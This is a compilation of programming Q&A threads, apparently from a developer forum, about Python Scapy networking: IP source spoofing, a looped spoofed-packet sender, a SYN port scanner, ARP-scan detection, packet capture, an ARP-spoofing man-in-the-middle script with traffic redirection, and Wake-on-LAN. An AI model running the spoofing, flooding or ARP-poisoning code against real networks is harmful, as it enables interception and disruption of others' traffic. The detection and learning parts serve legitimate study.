Is it possible to send a spoofed packet with another ip source?
I've searched on the net and I found out that I need to use scapy library. I have this script that I found:
import sys
from scapy.all import *
if len(sys.argv) != 4:
print ("Usage: ./spoof.py <target> <spoofed_ip> <port>")
sys.exit(1)
target = sys.argv[1]
spoofed_ip = sys.argv[2]
port = int(sys.argv[3])
p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S')
send(p1)
print ("Okay, SYN sent. Enter the sniffed sequence number now: ")
seq=sys.stdin.readline()
print ("Okay, using sequence number " + seq)
seq=int(seq[:-1])
p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A',
ack=seq+1,seq=1)
send(p2)
print ("Okay, final ACK sent. Check netstat on your target :-)")
But I don't get what does it mean "Enter the sniffed sequence number now:"
Also, is it possible to avoid using scapy, and use socket library instead? If yes, can you tell me the way?
solved on my own using scapy library:
from scapy.all import *
A = "192.168.1.254" # spoofed source IP address
B = "192.168.1.105" # destination IP address
C = RandShort() # source port
D = 80 # destination port
payload = "yada yada yada" # packet payload
while True:
spoofed_packet = IP(src=A, dst=B) / TCP(sport=C, dport=D) / payload
send(spoofed_packet)
Related
I have the following code to scan a single host on the given range of ports. I want to modify this so that the input will also accept CIDR slash notation(e.g. google.com/34 or 8.8.8.8/34) (i.e. in addition to a single domain name or IP address).
How can I do this?
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
import sys
from scapy.all import *
# Define end host and TCP port range
hostInput = input("Enter a remote host to scan: ")
host = socket.gethostbyname(hostInput)
port_range = [21,22,23,25,53,80,110,135,137,138,139,443,1433,1434,8080]
# Send SYN with random Src Port for each Dst port
for dst_port in port_range:
src_port = random.randint(1025,65534)
resp = sr1(
IP(dst=host)/TCP(sport=src_port,dport=dst_port,flags="S"),timeout=1,
verbose=0,
)
if resp is None:
print(f"{host}:{dst_port} is filtered (silently dropped).")
elif(resp.haslayer(TCP)):
if(resp.getlayer(TCP).flags == 0x12):
# Send a gratuitous RST to close the connection
send_rst = sr(
IP(dst=host)/TCP(sport=src_port,dport=dst_port,flags='R'),
timeout=1,
verbose=0,
)
print(f"{host}:{dst_port} is open.")
elif (resp.getlayer(TCP).flags == 0x14):
print(f"{host}:{dst_port} is closed.")
elif(resp.haslayer(ICMP)):
if(
int(resp.getlayer(ICMP).type) == 3 and
int(resp.getlayer(ICMP).code) in [1,2,3,9,10,13]
):
print(f"{host}:{dst_port} is filtered (silently dropped).")
You can try using
host = Net(hostInput)
Net is the util class Scapy uses to handle IPv4 addresses formats. If you pass it to a packet, sr( will send a packet to each host.
However I'm not sure how plug and play this is going to be: the use of sr1 restricts the output to a single packet, so you're probably going to have to change that to sr (which gives you a list of all answers)
I want to detect whether someone is performing ARP scan on network and display source IP. Unexpected no of ARP requests is sufficient to detect ARP scan. Here is my code--
import pyshark
cap = pyshark.FileCapture('arpscan.pcap',display_filter='arp.opcode==1 && arp.dst.hw_mac==00:00:00:00:00:00',only_summaries=True)
count=0
for pkt in cap:
count=count+1
if count>10:
print (" ")
print ("Someone is scanning your network!\n\n")
print ("For Attacker's Ip, visit 'Tell' section in summary below\n\n ")
print("----Further details----")
print "No of ARP Request Packet Received: ", count
print("----Summary of ARP packet Received---")
for pkt in cap:
print (pkt)
else:
print ("No ARP scan identified!")
I want to extract source IP i.e IP in the tell section of packet. I failed to do that. Can somebody tell me how to display source IP in my case?
I found a solution. This can be done using scapy instead of pyshark!
from scapy.all import *
packets = sniff(offline=filename,filter='arp')
source=''
source_mac=''
count=0
for pkt in packets:
if pkt[ARP].op==1:
count=count+1
if count==5:
source = pkt.sprintf("%ARP.psrc%")
source_mac = pkt.sprintf("%ARP.hwsrc%")
if count>10:
print "\nSomeone is scanning your network!"
print "Source (IP): ",source
print "Mac Address of Attacker: ",source_mac
else:
print ("No Scan Identified!")
Also, we can access is_at and Tell field using scapy as :
operation = packet.sprintf("%ARP.op%")
if operation=="is_at":
#do stuff
I built a network sniffer in Scapy but it can't handle the rate of packets I am sniffing (it adds 15-20 minutes of latency which is just unacceptable). I have used Pcapy before in the past at this speed with success, but this time to save me having to re-write all my parsing code that uses Scapy, I want to convert a packet received by Pcapy into a Scapy IP object. The problem is when I try to do this, the IP's and protocol numbers I get are scrambled/unusable, like Scapy is reading the wrong section of the packet.
Some example code below:
#!/usr/bin/python
from pcapy import findalldevs, open_live
from impacket import ImpactDecoder, ImpactPacket
from scapy.all import *
def sniff():
interface = "eth3"
print "Listening on: %s" % interface
# Open a live capture
reader = open_live(interface, 65535, 1, 100)
# Set a filter to be notified only for TCP packets
reader.setfilter('ip proto \\tcp')
# Run the packet capture loop
reader.loop(0, callback)
def callback(hdr, data):
pkt = IP(data)
if IP in pkt:
print pkt[IP].dst
# Parse the Ethernet packet
#decoder = ImpactDecoder.EthDecoder()
#ether = decoder.decode(data)
# Parse the IP packet inside the Ethernet packet
#iphdr = ether.child()
# Parse the TCP packet inside the IP packet
#tcphdr = iphdr.child()
# Only process SYN packets
#if tcphdr.get_SYN() and not tcphdr.get_ACK():
# # Get the source and destination IP addresses
# src_ip = iphdr.get_ip_src()
# dst_ip = iphdr.get_ip_dst()
# # Print the results
# print "Connection attempt %s -> %s" % (src_ip, dst_ip)
def main():
sniff()
if __name__ == "__main__":
main()
And an example of the output:
30.184.113.84
0.120.231.205
30.184.113.91
5.64.113.97
0.120.231.206
21.248.113.98
0.120.231.207
0.120.231.208
0.120.231.209
0.120.231.210
0.120.231.211
0.48.243.73
As you can see these IP's dont make sense, where do you think I am going wrong. Eth3 is connected to a NetGear mirror port.
Thanks for your time.
Never mind, just me being an idiot, I blame bank-holiday Mondays. I was trying to detect the packet from the wrong layer. Convert raw to Ether and Scapy does the rest of the work for me.
def callback(hdr, data):
pkt = Ether(data)
if IP in pkt:
print pkt[IP].dst
else:
print list(pkt)
Cheers
I'm just learning python with scapy. I read and use the book "Network Hacks - Intensivkurs - Angriff und Verteidigung mit Python" (German).
I would like to try a man in the middle attack by using arp-spoofing.
I have My Computer, the victim (my raspberry pi) and the standard gateway.
To spoofing, i use a code snippet from the book
#!/usr/bin/python
import sys
import time
from scapy.all import sniff, sendp, ARP, Ether
if len(sys.argv) < 3:
print sys.argv[0] + " <target> <spoof_ip>"
sys.exit(0)
iface = "wlan1"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]
ethernet = Ether()
arp = ARP(pdst=target_ip, psrc=fake_ip, op="is-at")
packet = ethernet / arp
while True:
sendp(packet, iface=iface)
time.sleep(10)
It works, my victim shows my mac as gateway.
The victim sends packets with the correct ip but my mac address.
Now the victim should open a website (wget http//example.com) and I want to use Wireshark to read the traffic. But I have to redirect the packages (DNS and TCP/HTTP). I tried it with this code:
#!/etc/usr/python
from scapy.all import *
import sys
iface = "wlan1"
filter = "ip"
VICTIM_IP = "192.168.2.108"
MY_IP = "192.168.2.104"
GATEWAY_IP = "192.168.2.1"
VICTIM_MAC = "### don't want so show###"
MY_MAC = "### don't want so show###"
GATEWAY_MAC = "### don't want so show###"
def handle_packet(packet):
if (packet[IP].dst == GATEWAY_IP) and (packet[Ether].dst == MY_MAC):
packet[Ether].dst = GATEWAY_MAC
sendp(packet)
print "A packet from " + packet[IP].src + " redirected!"
sniff(prn=handle_packet, filter=filter, iface=iface, store=0)
Wireshark shows a packet with the correct datas (IP Source = Victim IP, IP Destination = Gateway IP, MAC Source = Victim MAC, MAC Destination = Gateway MAC).
The Gateway is a DSL-Router, so also a "DNS-Server".
But my Raspberry doesn't receive a DNS response. What's my fault?
Yours faithfully,
MatStorm
One thing Scapy does not do for you is handle firewall issues; in this situation you would be well served to turn off the host firewall on your attacking host. The packets you're crafting aren't using the usual path for packets.
Also, are you translating the source address when you forward the packets on so that the response comes to you? I don't see that in the code...
Check if monitor mode is on the fake dns server interface. I cannot see from your code if that is done so just a quick tip. I will look closer after some sleep and can see straight. When I did spoofing last time, I had 1 ethernet cable with internet in router and monitor mode on wlan. if I tried without it showed some wanted info but just not right, cant remember for sure what I did to fix it. best of luck.
A while ago, I wrote [with some help from Google] a small WOL script to switch on the computers in my network. Here is the script:
exec /usr/bin/python -x "$0" "$#"
#
node_lst = [
'srv1 0a:1b:8c:0d:2e:7f',
'srv2 0A-0B-4C-8D-CE:3F',
]
#
import os,sys,string,commands
import struct, socket
import re,random
retval = 0
mac_addr = "mac_addr.txt"
X = '([a-zA-Z0-9]{2}[:|\-|.]?){5}[a-zA-Z0-9]{2}'
S = re.compile(r'\s+')
mmap = {}
## First argument 'None' in str.translate is new in 2.6.
## Previously, it was a string of 256 characters
if sys.version_info < (2, 6):
f1_arg = ''.join(chr(i) for i in xrange(256))
else:
f1_arg = None
## broadcast address
sysOS = "uname -s"
BSD = "ifconfig | grep -w broadcast | cut -d\ -f 6"
LNX = "ip -o addr show | grep -w inet | grep -e eth | cut -d\ -f 9"
#
if commands.getoutput(sysOS) == "Linux":
bCast = commands.getoutput(LNX)
elif commands.getoutput(sysOS) == "Darwin":
bCast = commands.getoutput(BSD)
else:
print "System not supported!!"
sys_exit()
def WakeOnLan(mac_address):
## Building the Wake-On-LAN "Magic Packet"...
## Pad the synchronization stream.
data = ''.join(['FFFFFFFFFFFF', mac_address * 20])
msg = ''
## Split up the hex values and pack.
for i in range(0, len(data), 2):
msg = ''.join([msg, struct.pack('B', int(data[i: i + 2], 16))])
## ...and send it to the broadcast address using UDP
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(msg, (bCast, 9))
s.close()
def sys_exit():
sys.stdout.flush()
sys.exit(1)
## check if hostname is provided
if len(sys.argv) != 2:
print "Usage: %s <hostname>" % sys.argv[0]
sys_exit()
for i in node_lst:
# strip off everything from first "#" [if] found
i = i.split('#',1)[0]
if not re.search(X, i):
continue
h = S.split(i,1)[0] ## host name
m = S.split(i,1)[-1] ## MAC address
mmap[h] = m.strip('\t|" "')
for j, k in mmap.iteritems():
if sys.argv[1] == j:
if not re.search(X.replace('zA-Z','fA-F'), k):
print "Invalid MAC address [",k,"]; nothing to do!!"
sys_exit()
else:
WakeOnLan(k.translate(f1_arg,':.-'))
print "WOL request has been sent to %s [%s]" % (j,k)
break
else:
print "Host [%s] doesn't exist!!" % sys.argv[1]
sys_exit()
Which works just fine from inside my home network (or LAN). How can I change the script to make it work for outside of my LAN? Any idea or suggestions? Cheers!!
This is not possible because WOL packets are broadcast packets (since you can't know who to send it too). Home routers and especially ISP/Network routers discard all broadcast packets because else everytime you run this one script all the computers on the entire internet would receive your package, which would cause quite some clutter.
What you of course can do is write a small application that is on a computer that is running inside the WAN in which you wish to turn on all computers, and then have that application send a WOL packet. However this would require a computer with internet access to be turned on at all times.
Configure your router to forward packets on a selection of 10 non-sequential ports to a machine on your LAN.
Devise some scheme based on say GMT Time + a hash to generate the port trigger sequence.
Have a python program (use scappy) on your command box inside that network listen for a series of syn packets.
The listener code would be analogous to the following tcpdump syntax:
sudo tcpdump -ni eth0 'tcp[tcpflags] & (tcp-syn) !=0'
Where it captures just syn packets.
Your program just sits there, waiting for the right syn sequence. When it receives the sequence, it runs your WOL script.
Done.
If you don't want to open ports, your script could instead poll a remote website, waiting for changes. Or listen for email fetched via email.
Taking your idea further, you could do fancy stuff like turn on your lights or boot up the TV.